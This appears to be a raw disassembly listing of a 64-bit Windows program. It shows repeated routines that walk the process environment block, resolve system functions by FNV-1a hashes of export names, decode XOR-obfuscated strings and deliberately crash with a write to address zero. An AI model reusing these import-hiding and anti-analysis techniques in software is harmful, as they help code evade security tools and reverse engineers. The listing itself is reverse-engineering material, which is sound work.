movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005fa00
cmp r8d, 0xa52bcaf9
je 0x14005fa2c
test r9d, r9d
jne 0x14005f9e0
mov rax, qword [rax]
jmp 0x14005f9b0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
lea rcx, [rbp + 0x3b0]
call fcn.1400162c0
movss xmm0, dword [rax]
mulss xmm0, dword [0x14011f320]
subss xmm0, dword [0x14011f3e0]
call fcn.140016070
call fcn.140036c50
lea rcx, [rbp + 0x3b8]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm11
subsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
call fcn.140016070
lea rcx, [0x140188f80]
call fcn.140068200
movzx edx, word [0x14011b9e8]
lea r8, [0x14018a630]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
xor esi, esi
movsd xmm0, qword [0x14011b9e0]
xor cl, 0x3c
movsd qword [rbp - 8], xmm0
mov r9d, 0xff
xor byte [rbp - 7], 0x33
xor byte [rbp - 6], 0x34
xor byte [rbp - 5], 0x35
xor byte [rbp - 4], 0x36
xor byte [rbp - 3], 0x37
xor byte [rbp - 2], 0x38
xor byte [rbp - 1], 0x39
mov word [rbp], dx
xor dl, 0x3a
xor byte [rbp + 1], 0x3b
mov byte [rbp + 2], cl
lea rcx, [rbp + 0x168]
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov byte [rbp], dl
mov rdx, rax
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 8]
mov byte [rbp - 8], reloc.WLDAP32.dll_Ordinal_35
mov qword [rbp + 0x168], 0
call fcn.140039640
call fcn.140036c50
lea rcx, [rbp + 0x3c0]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, xmm11
subsd xmm0, xmm12
cvtpd2ps xmm0, xmm0
call fcn.140016070
lea rcx, [0x140189278]
call fcn.140068200
movzx edx, word [0x14011c838]
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
movsd xmm0, qword [0x14011c830]
movsd qword [rbp + 3], xmm0
xor byte [rbp + 4], 0x33
xor byte [rbp + 5], 0x34
xor byte [rbp + 6], 0x35
xor byte [rbp + 7], 0x36
xor byte [rbp + 8], 0x37
xor byte [rbp + 9], 0x38
xor byte [rbp + 0xa], 0x39
mov word [rbp + 0xb], dx
xor dl, 0x3a
xor byte [rbp + 0xc], 0x3b
xor cl, 0x3c
mov qword [rsp + 0x38], rsi
mov byte [rbp + 0xd], cl
lea rcx, [rbp + 0x170]
mov qword [rsp + 0x30], rsi
mov byte [rbp + 3], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0xb], dl
mov qword [rbp + 0x170], rsi
mov dword [rsp + 0x28], 0x8000
mov qword [rsp + 0x20], rcx
lea r8, [0x14018a890]
lea rcx, [rbp + 3]
mov r9d, 0xff
mov rdx, rax
call fcn.140039640
lea rcx, [0x14011af00]
call fcn.140033e90
movaps xmm1, xmm9
xorps xmm0, xmm0
call fcn.140015fc0
mov rax, qword [0x14018a620]
lea rcx, [0x140189258]
or dword [rax + 0x4728], 1
mov dword [rax + 0x472c], 0x40800000
call fcn.140068200
lea rdx, [0x14018a82f]
mov rcx, rax
call fcn.140036400
lea rcx, [rbp + 0x3c8]
call fcn.1400162c0
movss xmm0, dword [rax]
cvtps2pd xmm0, xmm0
divsd xmm0, qword [str.ffffff]
addsd xmm0, qword [0x14011f390]
cvtpd2ps xmm0, xmm0
call fcn.140016070
movaps xmm2, xmm13
lea rcx, [rbp + 0x3d0]
movaps xmm1, xmm14
call fcn.140001e70
lea rcx, [0x1401890b8]
mov rdi, rax
call fcn.140068200
mov rdx, rdi
mov rcx, rax
call fcn.1400353e0
test al, al
je 0x1400614d2
lea rdx, [0x14018a890]
lea rcx, [rbp + 0xff0]
call fcn.140068400
lea rdx, [0x14018a630]
mov rdi, rax
lea rcx, [rbp + 0x1010]
call fcn.140068400
mov r8, rdi
lea rcx, [0x14018ab10]
mov rdx, rax
call fcn.14008c670
cmp byte [0x14018ad20], sil
je 0x140061290
lea rdx, [rbp + 0x2b2]
mov byte [rbp - 0x27], sil
lea rcx, [rbp - 0x27]
call fcn.1400662a0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x14005fd29
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
xor edx, edx
mov rcx, rax
call fcn.1400532f0
test al, al
je 0x14005ffa2
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1030]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x7c], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005fdf7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005fdf7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005fdf2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005fdd0
cmp r8d, 0xcded1a85
je 0x14005fdfc
test r9d, r9d
jne 0x14005fdb0
mov rax, qword [rax]
jmp 0x14005fd80
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x7c]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x80], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005feb7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005feb7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005feb2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005fe90
cmp r8d, 0xe80fd3a
je 0x14005febc
test r9d, r9d
jne 0x14005fe70
mov rax, qword [rax]
jmp 0x14005fe40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x80]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14005ff77
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14005ff77
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14005ff72
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14005ff50
cmp r8d, 0xa52bcaf9
je 0x14005ff7c
test r9d, r9d
jne 0x14005ff30
mov rax, qword [rax]
jmp 0x14005ff00
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
xor esi, esi
mov dword [0], 0xdead
cmp byte [0x14018a84d], 0
je 0x140060210
call fcn.1400514a0
lea rdx, [0x140189038]
lea rcx, [rbp + 0x1050]
call fcn.140068440
mov rdx, rax
lea rcx, [0x14018ab10]
call fcn.14008be10
mov dword [rbp + 0x84], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060067
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060067
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060062
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060040
cmp r8d, 0xcded1a85
je 0x14006006c
test r9d, r9d
jne 0x140060020
mov rax, qword [rax]
jmp 0x14005fff0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x84]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x88], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060127
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060127
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060122
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060100
cmp r8d, 0xe80fd3a
je 0x14006012c
test r9d, r9d
jne 0x1400600e0
mov rax, qword [rax]
jmp 0x1400600b0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x88]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400601e7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400601e7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400601e2
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400601c0
cmp r8d, 0xa52bcaf9
je 0x1400601ec
test r9d, r9d
jne 0x1400601a0
mov rax, qword [rax]
jmp 0x140060170
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov dword [0], 0xdead
cmp byte [0x14018a82f], 0
je 0x14006021e
call fcn.140042990
lea rdx, [0x14018a890]
lea rcx, [rbp + 0x1070]
call fcn.140068400
lea rdx, [0x14018a630]
mov rdi, rax
lea rcx, [rbp + 0x1090]
call fcn.140068400
mov r8, rdi
lea rcx, [0x14018ab10]
mov rdx, rax
call fcn.14008c670
cmp byte [0x14018ad20], 0
je 0x140061071
lea rdx, [rbp + 0x530]
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x21]
call fcn.1400662c0
movzx ecx, byte [rax + 8]
test cl, cl
je 0x1400602a7
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor byte [rax + 6], 0x38
xor byte [rax + 7], 0x39
xor cl, 0x3a
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x10b0]
call fcn.140068400
mov r8, rax
lea rdx, [rbp + 0x2f0]
lea rcx, [0x14018ab10]
call fcn.140092670
lea rcx, [rbp + 0x2f0]
call fcn.140068200
lea rcx, [rbp + 0x2f0]
mov rdi, rax
call fcn.140068210
mov ecx, dword [rbp - 0x64]
cmp rdi, rax
je 0x1400602f6
sub eax, edi
add ecx, eax
mov dword [rbp - 0x64], ecx
cmp ecx, 0xf
jle 0x140060e1d
lea rcx, [rbp + 0x2f0]
call fcn.140068230
xor esi, esi
lea rdx, [rbp + 0x310]
lea rcx, [rbp - 0x20]
mov dword [rbp - 0x64], esi
mov byte [rbp - 0x20], sil
call fcn.1400662e0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140060349
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor byte [rax + 5], 0x37
xor cl, 0x38
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x10d0]
call fcn.140068400
mov r8, rax
lea rdx, [rbp + 0x2d0]
lea rcx, [0x14018ab10]
call fcn.1400878c0
cmp byte [0x14018ad20], sil
je 0x140060bc9
lea rdx, [rbp + 0x2b8]
mov byte [rbp - 0x1f], sil
lea rcx, [rbp - 0x1f]
call fcn.1400662a0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x1400603b0
xor byte [rax], 0x32
xor byte [rax + 1], 0x33
xor byte [rax + 2], 0x34
xor byte [rax + 3], 0x35
xor byte [rax + 4], 0x36
xor cl, 0x37
mov byte [rax + 5], cl
xor edx, edx
mov rcx, rax
call fcn.1400532f0
test al, al
je 0x140060602
mov dword [rbp + 0x8c], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060457
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060457
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060452
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060430
cmp r8d, 0xcded1a85
je 0x14006045c
test r9d, r9d
jne 0x140060410
mov rax, qword [rax]
jmp 0x1400603e0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x8c]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x90], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060517
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060517
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060512
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400604f0
cmp r8d, 0xe80fd3a
je 0x14006051c
test r9d, r9d
jne 0x1400604d0
mov rax, qword [rax]
jmp 0x1400604a0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x90]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400605d7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400605d7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400605d2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400605b0
cmp r8d, 0xa52bcaf9
je 0x1400605dc
test r9d, r9d
jne 0x140060590
mov rax, qword [rax]
jmp 0x140060560
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
xor esi, esi
mov dword [0], 0xdead
lea rcx, [0x140188f20]
call fcn.140068200
mov r9d, 0x40
mov dword [rsp + 0x20], r15d
mov rdx, rax
lea rcx, [rbp + 0x1420]
lea r8d, [r9 - 0x1e]
call fcn.140067290
lea rcx, [rbp + 0x2d0]
call fcn.1400671d0
lea rcx, [rbp + 0x2d0]
mov rdi, rax
call fcn.1400671e0
mov r8, rdi
lea rcx, [rbp + 0x1420]
mov rdx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1420]
call fcn.140067250
mov rax, qword [rbp + 0x1420]
xor r8d, r8d
xor edx, edx
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1420]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::clear_int__bool____ptr64]
lea rcx, [0x140188f20]
call fcn.140068200
mov rdx, rax
lea rcx, [rbp + 0x618]
call fcn.140068400
lea rcx, [rbp + 0x618]
call fcn.140042880
lea rcx, [rbp + 0x618]
movzx edi, al
call fcn.140068310
test dil, dil
je 0x140060961
lea rcx, [0x140188f20]
call fcn.140068200
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, [0x14004a800]
lea rcx, [rbp + 0x480]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x480]
call fcn.14004b420
lea rdx, [0x14005aff0]
lea rcx, [rbp + 0x490]
call fcn.14006a080
mov rcx, rax
call fcn.14004b440
lea rcx, [rbp + 0x490]
call fcn.14004b420
lea rdx, [0x14018ac50]
lea rcx, [0x1401890d8]
call fcn.1400682e0
lea rdx, [0x14018ac70]
lea rcx, [0x140189058]
call fcn.1400682e0
lea rdx, [0x14018ac90]
lea rcx, [0x1401891d8]
call fcn.1400682e0
lea rdx, [0x14018acb0]
lea rcx, [rbp + 0x10f0]
call fcn.140068440
mov rcx, rax
call fcn.140043530
mov rdx, rax
lea rcx, [rbp + 0x13a0]
call fcn.1400435c0
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x8d0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movaps xmmword [rbp + 0x5a0], xmm0
movaps xmmword [rbp + 0x5b0], xmm1
mov dword [rbp + 0x5c0], eax
call fcn.1400434b0
mov rdx, rax
lea rcx, [0x140188f60]
call fcn.140068370
lea rcx, [rbp + 0x8d0]
call fcn.140068310
lea rdx, [0x14018acd0]
lea rcx, [rbp + 0x1110]
call fcn.140068440
mov rcx, rax
call fcn.140043530
mov rdx, rax
lea rcx, [rbp + 0x13c8]
call fcn.1400435c0
lea rdx, [rbp + 0x570]
lea rcx, [rbp + 0x8f0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movaps xmmword [rbp + 0x570], xmm0
movaps xmmword [rbp + 0x580], xmm1
mov dword [rbp + 0x590], eax
call fcn.1400434b0
mov rdx, rax
lea rcx, [0x140188fc0]
call fcn.140068370
lea rcx, [rbp + 0x8f0]
call fcn.140068310
lea rcx, [0x14018acf0]
mov edi, esi
call fcn.1400680b0
test rax, rax
je 0x14006092a
nop dword [rax]
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [0x14018acf0]
call fcn.140068080
mov rdx, rax
lea rcx, [rbp + 0xd30]
call fcn.1400668b0
lea rdx, [rbp + 0xd50]
lea rcx, [rbp + 0x1130]
call fcn.140068440
mov rcx, rax
call fcn.140043530
mov rdx, rax
lea rcx, [rbp + 0x13f0]
call fcn.1400435c0
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0x910]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movaps xmmword [rbp + 0x540], xmm0
movaps xmmword [rbp + 0x550], xmm1
mov dword [rbp + 0x560], eax
call fcn.1400434b0
mov rdx, rax
lea rcx, [0x140189198]
call fcn.140068370
lea rcx, [rbp + 0x910]
call fcn.140068310
lea rcx, [rbp + 0xd30]
call fcn.1400668f0
inc edi
lea rcx, [0x14018acf0]
movsxd rsi, edi
call fcn.1400680b0
cmp rsi, rax
jb 0x140060870
lea rcx, [rbp + 0x1420]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x14018a61b], 1
call fcn.1400431e0
lea rcx, [rbp + 0x2d0]
call fcn.1400671f0
lea rcx, [rbp + 0x2f0]
call fcn.140068310
jmp 0x1400614d0
mov dword [rbp + 0x94], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x1400609f7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x1400609f7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400609f2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400609d0
cmp r8d, 0xcded1a85
je 0x1400609fc
test r9d, r9d
jne 0x1400609b0
mov rax, qword [rax]
jmp 0x140060980
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x94]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0x98], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060ab7
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060ab7
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060ab2
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060a90
cmp r8d, 0xe80fd3a
je 0x140060abc
test r9d, r9d
jne 0x140060a70
mov rax, qword [rax]
jmp 0x140060a40
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x98]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060b77
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060b77
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060b72
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060b50
cmp r8d, 0xa52bcaf9
je 0x140060b7c
test r9d, r9d
jne 0x140060b30
mov rax, qword [rax]
jmp 0x140060b00
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
lea rcx, [rbp + 0x1420]
mov dword [0], 0xdead
call fcn.1400431e0
lea rcx, [rbp + 0x2d0]
call fcn.1400671f0
lea rcx, [rbp + 0x2f0]
call fcn.140068310
jmp 0x1400614d0
mov dword [rbp + 0x9c], esi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060c57
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060c57
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rdi]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140060c52
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140060c30
cmp r8d, 0xcded1a85
je 0x140060c5c
test r9d, r9d
jne 0x140060c10
mov rax, qword [rax]
jmp 0x140060be0
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov edi, dword [rcx + rdx*4]
lea rcx, [rbp + 0x9c]
add rdi, r10
call fcn.140069600
mov ecx, dword [rax]
call rdi
mov dword [rbp + 0xa0], 0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x140060d17
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140060d17
mov edi, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
